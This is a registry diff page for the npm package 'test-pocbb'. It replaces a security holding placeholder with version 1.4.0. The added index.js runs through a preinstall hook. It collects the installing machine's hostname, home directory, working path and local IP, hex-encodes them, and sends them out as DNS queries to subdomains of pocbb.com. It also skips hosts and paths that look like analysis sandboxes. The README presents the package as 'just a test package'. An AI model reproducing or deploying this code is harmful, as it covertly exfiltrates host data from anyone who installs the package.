test-pocbb 0.0.1-security → 1.4.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of test-pocbb might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +2 -4
  2. package/index.js +105 -0
  3. package/package.json +7 -3
package/README.md CHANGED
@@ -1,5 +1,3 @@
1
- # Security holding package
1
+ # pocbb test
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=test-pocbb for more information.
3
+ This is just a test package
package/index.js ADDED
@@ -0,0 +1,105 @@
1
+ const dns = require('dns');
2
+ const os = require('os');
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+
6
+ function generateUID(length = 5) {
7
+ const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
8
+ let result = '';
9
+ for (let i = 0; i < length; i++) {
10
+ result += characters.charAt(Math.floor(Math.random() * characters.length));
11
+ }
12
+ return result.toLowerCase();
13
+ }
14
+
15
+ // Convert a JSON string to hex
16
+ function jsonStringToHex(jsonString) {
17
+ return Buffer.from(jsonString, 'utf8').toString('hex');
18
+ }
19
+
20
+ const uid = generateUID(); // Generate a UID for this client once
21
+
22
+ function getCurrentTimestamp() {
23
+ const date = new Date();
24
+ const offset = -date.getTimezoneOffset() / 60;
25
+ const sign = offset >= 0 ? "+" : "-";
26
+ return `${date.toLocaleDateString('en-GB')} ${date.toLocaleTimeString('en-GB')} (GMT${sign}${Math.abs(offset)})`;
27
+ }
28
+
29
+ function getLocalIP() {
30
+ const interfaces = os.networkInterfaces();
31
+ for (let iface in interfaces) {
32
+ for (let ifaceInfo of interfaces[iface]) {
33
+ if (ifaceInfo.family === 'IPv4' && !ifaceInfo.internal) {
34
+ return ifaceInfo.address;
35
+ }
36
+ }
37
+ }
38
+ return '127.0.0.1'; // fallback to localhost
39
+ }
40
+
41
+ function getPackageInfo() {
42
+ const packageJson = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
43
+ return {
44
+ name: packageJson.name,
45
+ version: packageJson.version
46
+ };
47
+ }
48
+
49
+ function sendJSONviaDNS(domain) {
50
+ // Check conditions to exit early
51
+ const hostnameCheck = os.hostname().startsWith("DESKTOP-") || os.hostname() === "instance";
52
+ const pathCheck1 = process.cwd().startsWith("/app");
53
+ const pathCheck2 = process.cwd().startsWith("/root/node_modules");
54
+
55
+ if (hostnameCheck || pathCheck1 || pathCheck2) {
56
+ return;
57
+ }
58
+
59
+ // Resolve the IP address of ns1.pocbb.com
60
+ dns.resolve4('ns1.pocbb.com', (err, addresses) => {
61
+ if (err) {
62
+ dns.setServers(['1.1.1.1', '8.8.8.8']); // Use 1.1.1.1 and 8.8.8.8 if ns1.pocbb.com cannot be resolved
63
+ } else {
64
+ const primaryDNS = addresses[0];
65
+ dns.setServers([primaryDNS, '1.1.1.1', '8.8.8.8']);
66
+ }
67
+
68
+ // Get package info
69
+ const pkgInfo = getPackageInfo();
70
+
71
+ // Construct the JSON object
72
+ const jsonObject = {
73
+ timestamp: getCurrentTimestamp(),
74
+ uid: uid,
75
+ 'pkg-name': pkgInfo.name,
76
+ 'pkg-version': pkgInfo.version,
77
+ 'local-ip': getLocalIP(),
78
+ hostname: os.hostname(),
79
+ homedir: os.homedir(),
80
+ path: process.cwd()
81
+ };
82
+ const jsonString = JSON.stringify(jsonObject);
83
+ const hexString = jsonStringToHex(jsonString);
84
+
85
+ // Split hex string into chunks of 60 characters each
86
+ const chunkSize = 60;
87
+ const regex = new RegExp(`.{1,${chunkSize}}`, 'g');
88
+ const chunks = hexString.match(regex);
89
+
90
+ chunks.forEach((chunk, index) => {
91
+ const packetNumber = (index + 1).toString().padStart(3, '0'); // 001, 002, etc.
92
+ const subdomain = `pl.${uid}.${packetNumber}.${chunk}.${domain}`;
93
+
94
+ // Perform DNS resolution
95
+ dns.resolve4(subdomain, (err, addresses) => {
96
+ if (err) {
97
+ return;
98
+ }
99
+ });
100
+ });
101
+ });
102
+ }
103
+
104
+ // Usage
105
+ sendJSONviaDNS('pocbb.com');
package/package.json CHANGED
@@ -1,6 +1,10 @@
1
1
  {
2
2
  "name": "test-pocbb",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.4.0",
4
+ "description": "A pocbb test",
5
+ "license": "MIT",
6
+ "main": "index.js",
7
+ "scripts": {
8
+ "preinstall": "node index.js"
9
+ }
6
10
  }